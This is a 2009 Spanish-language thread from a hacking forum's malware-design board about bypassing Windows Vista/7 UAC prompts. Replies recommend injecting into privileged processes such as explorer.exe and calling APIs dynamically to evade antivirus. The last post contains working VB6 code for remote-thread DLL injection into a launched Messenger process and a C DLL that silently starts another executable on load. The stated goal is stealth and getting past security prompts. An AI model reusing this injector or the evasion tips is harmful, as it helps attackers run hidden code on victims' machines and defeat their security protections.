elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
24 Mayo 2012, 07:17  


Tema destacado: Entra al canal IRC oficial de #elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  pedir privilegios vista o 7 con otro nombre
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: pedir privilegios vista o 7 con otro nombre  (Leído 2,376 veces)
s_azazel

Desconectado Desconectado

Mensajes: 55



Ver Perfil
pedir privilegios vista o 7 con otro nombre
« en: 14 Diciembre 2009, 18:53 »

A ver me explico.... yo tengo un programa lanzador k se llama a.exe que lanza otro programa que se llama b.exe...

entonces vista avisa al usuario de que el programa a.exe qu¡ere aceder al equipo cuando es b.exe el que escribe en el registro....

es posible que un programa (a.exe) que lanza otro (b.exe) al ejecutarse (b.exe) pida permisos de usuario como b.exe y no como a.exe??

Asi se podra pasar mejor el uac de windows..... a ver si me dais alguna ides ;)

asiasss
En línea
Jaixon Jax


Desconectado Desconectado

Mensajes: 855



Ver Perfil
Re: pedir privilegios vista o 7 con otro nombre
« Respuesta #1 en: 15 Diciembre 2009, 03:46 »

  Por alli hay algo que se llama VistaUACMaker a mi me funciono  :) nada mas es buscar un poco creo que para vista la mejor opcion es inyectar la dll en otro proceso con privilegios  ....

  Saludos ..
En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
s_azazel

Desconectado Desconectado

Mensajes: 55



Ver Perfil
Re: pedir privilegios vista o 7 con otro nombre
« Respuesta #2 en: 15 Diciembre 2009, 14:33 »

¡¡Muchas gracias!!! no sabia eso de inyectar el codigo :D:D ahora mismo me pongo a estudiarlo.

¿esto no sirve tambien para win 7???
En línea
Karcrack
Moderador
***
Desconectado Desconectado

Mensajes: 2.190


Se siente observado ¬¬'


Ver Perfil
Re: pedir privilegios vista o 7 con otro nombre
« Respuesta #3 en: 15 Diciembre 2009, 20:02 »

La técnica utilizada para pasarse el UAC, sin tener que añadir un manifest (como hace VistaUACMaker) es hacer que un proceso con privilegios cree un proceso, asi heredara sus privilegios...

Lo mas comun es hacer que el explorer.exe ejecute tu EXE... puedes hacerlo de varias maneras, la mas sencilla seria en mi opinion inyectar code...
En línea

s_azazel

Desconectado Desconectado

Mensajes: 55



Ver Perfil
Re: pedir privilegios vista o 7 con otro nombre
« Respuesta #4 en: 16 Diciembre 2009, 01:22 »

Gracias estoy leyendo sobre el tema y en algunos sitios pone que casi todos los antivirus saltan cuando se inyecta codio ¿ es cierto esto? :S:S
En línea
Jaixon Jax


Desconectado Desconectado

Mensajes: 855



Ver Perfil
Re: pedir privilegios vista o 7 con otro nombre
« Respuesta #5 en: 16 Diciembre 2009, 02:44 »

 :)  Depende del proceso puedes llamar las apis dinamicamente para saltar algunos AV y utiliza procesos que no sean del so  :P por los menos la maquina virtual de java  ;)
En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
s_azazel

Desconectado Desconectado

Mensajes: 55



Ver Perfil
Re: pedir privilegios vista o 7 con otro nombre
« Respuesta #6 en: 18 Diciembre 2009, 00:16 »

Buffff he estado buscando informacion en este foro y ando algo liado.... un par de aclaraciones sorry....

Tengo que inyectar directamente el codigo en el proceso no?? es mejor que inyectar la dll...

Y en visual basic no se puede hacer no????? me da que tendre k ir aprendiendo ya c++


He conseguido inyectar una dll en visual basic pero no consigo crear una dll para que por ejemplo ejecute un archivo al cargarse¿es posible esto con VB???
« Última modificación: 18 Diciembre 2009, 00:59 por s_azazel » En línea
Jaixon Jax


Desconectado Desconectado

Mensajes: 855



Ver Perfil
Re: pedir privilegios vista o 7 con otro nombre
« Respuesta #7 en: 18 Diciembre 2009, 01:20 »

  Por que no metes el code del ejecutable en la dll ya que te inyetaste practimante estas stealth   ::) a no ser que insistas en hacerlo asi si ese es el caso con shellexecute, winexec puedes ejecutar el fichero que sea y tendra los permisos de el exe donde esta inyectada la dll  ;) por alli he leido que tambien se puede inyectar exes  :rolleyes: a ver quien nos ilustra al respecto  ;D


  Saludos ....

  Edito si quieres que el programa tenga los mismos permisos tendrias que ejecutarlo con CreateProcess

Código:
http://msdn.microsoft.com/en-us/library/ms682425(VS.85).aspx

  Y tienes que llamarla dinamicamente por que esa api esta muy firmada   :silbar:

Saludos ....
« Última modificación: 18 Diciembre 2009, 12:51 por Karcrack » En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
YST


Desconectado Desconectado

Mensajes: 963


I'm you


Ver Perfil WWW
Re: pedir privilegios vista o 7 con otro nombre
« Respuesta #8 en: 18 Diciembre 2009, 02:34 »

Tecnicamente se puede inyectar exe con el metodo que esta con chincheta que hacker_0 hizo un tuto :P
En línea



Yo le enseñe a Kayser a usar objetos en ASM
s_azazel

Desconectado Desconectado

Mensajes: 55



Ver Perfil
Re: pedir privilegios vista o 7 con otro nombre
« Respuesta #9 en: 18 Diciembre 2009, 15:37 »

El problema es que debo hacer algo mal a la hora de crear la dll usao el VB6

Elijo dll activex y en "Private Sub Class_Initialize()" escribo por ejemplo

Shell "c:\programa.exe"

Entonces al pulsar F5 para probar la dll se deberia ejecutar el programa no????

:S:S:S
En línea
Jaixon Jax


Desconectado Desconectado

Mensajes: 855



Ver Perfil
Re: pedir privilegios vista o 7 con otro nombre
« Respuesta #10 en: 18 Diciembre 2009, 17:03 »

Las Dll no pueden ser ejecutadas como un exe deben ser cargadas desde otro proceso total o parcialmente con LoadLibrary  o sino insertarlas en el registro para que windows las cargue con otras dll en el inicio  :rolleyes: Te recominiendo el Maual de EON .

Código:
http://foro.elhacker.net/analisis_y_diseno_de_malware/querias_tutos_de_programacion_de_malware_pues_toma-t196251.0.html


  Saludos ...
En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
Karcrack
Moderador
***
Desconectado Desconectado

Mensajes: 2.190


Se siente observado ¬¬'


Ver Perfil
Re: pedir privilegios vista o 7 con otro nombre
« Respuesta #11 en: 18 Diciembre 2009, 17:49 »

Las Dll no pueden ser ejecutadas como un exe deben ser cargadas desde otro proceso total o parcialmente con LoadLibrary  o sino insertarlas en el registro para que windows las cargue con otras dll en el inicio  :rolleyes: Te recominiendo el Maual de EON .
De cualquier manera las DLLs ActiveX no pueden ser cargadas como cualquier DLL 'normal'...
En línea

s_azazel

Desconectado Desconectado

Mensajes: 55



Ver Perfil
Re: pedir privilegios vista o 7 con otro nombre
« Respuesta #12 en: 20 Diciembre 2009, 13:37 »

:S:S Ya he conseguido crear la dll pero me sigue pidiendo permisos en vista :( os dejo el code a ver si me podeis decir en que esta fallando :( la dll la carga bien porque el s.exe se ejecuta pero me sigue pidiendo permisos :S

code inyector (VB):

Private Const PAGE_READWRITE As Long = &H4
Private Const MEM_RELEASE As Long = &H8000
Private Const MEM_COMMIT As Long = &H1000
Private Const STANDARD_RIGHTS_REQUIRED As Long = &HF0000
Private Const SYNCHRONIZE As Long = &H100000
Private Const PROCESS_ALL_ACCESS As Long = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF)
Private Const INFINITE As Long = &HFFFFFF

Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function CreateRemoteThread Lib "kernel32" (ByVal hProcess As Long, lpThreadAttributes As Long, ByVal dwStackSize As Long, lpStartAddress As Long, lpParameter As Any, ByVal dwCreationFlags As Long, lpThreadId As Long) As Long
Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long


Public Function Inyecta(RutaDll As String, Pid As Long) As Integer
Dim proc As Long
Dim nload As Long
Dim rems As Long
Dim longi As Long
Dim RemThread As Long
Dim Tid As Long

On Error GoTo Error
proc = OpenProcess(PROCESS_ALL_ACCESS, False, Pid)
nload = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA")
rems = VirtualAllocEx(proc, 0, Len(RutaDll), MEM_COMMIT, PAGE_READWRITE)
WriteProcessMemory proc, ByVal rems, ByVal RutaDll, Len(RutaDll), longi
CreateRemoteThread proc, ByVal 0, 0, ByVal nload, ByVal rems, 0, Tid
WaitForSingleObject rems, INFINITE
CloseHandle proc
CloseHandle rems
Inyecta = 0
Exit Function
Error:
Inyecta = 1
End Function


Private Sub Form_Load()
Dim ruta As Long
Dim resultado As Integer

ruta = Shell("C:\Archivos de programa\Windows Live\Messenger\msnmsgr.exe")
resultado = Inyecta("C:\proyecto1.dll", ruta)

End
End Sub

y esta es la dll en C:

#include "dll.h"
#include <windows.h>
#include <stdio.h>





 
 
BOOL APIENTRY DllMain (HINSTANCE hInst     /* Library instance handle. */ ,
                       DWORD reason        /* Reason this function is being called. */ ,
                       LPVOID reserved     /* Not used. */ )
{
 if(reason==DLL_PROCESS_ATTACH){
 
                              PROCESS_INFORMATION piProcInfo;
STARTUPINFO siStartInfo;


ZeroMemory( &piProcInfo, sizeof(PROCESS_INFORMATION) );

// Set up members of the STARTUPINFO structure.

ZeroMemory( &siStartInfo, sizeof(STARTUPINFO) );
siStartInfo.cb = sizeof(STARTUPINFO);

// Create the child process.

return CreateProcess(NULL,
"c:\\s.exe", // command line
NULL, // process security attributes
NULL, // primary thread security attributes
TRUE, // handles are inherited
0, // creation flags
NULL, // use parent's environment
NULL, // use parent's current directory
&siStartInfo, // STARTUPINFO pointer
&piProcInfo); // receives PROCESS_INFORMATION
                                }
 
    /* Returns TRUE on success, FALSE on failure */
    return TRUE;
}


Gracias!!!!!



« Última modificación: 20 Diciembre 2009, 14:17 por s_azazel » En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines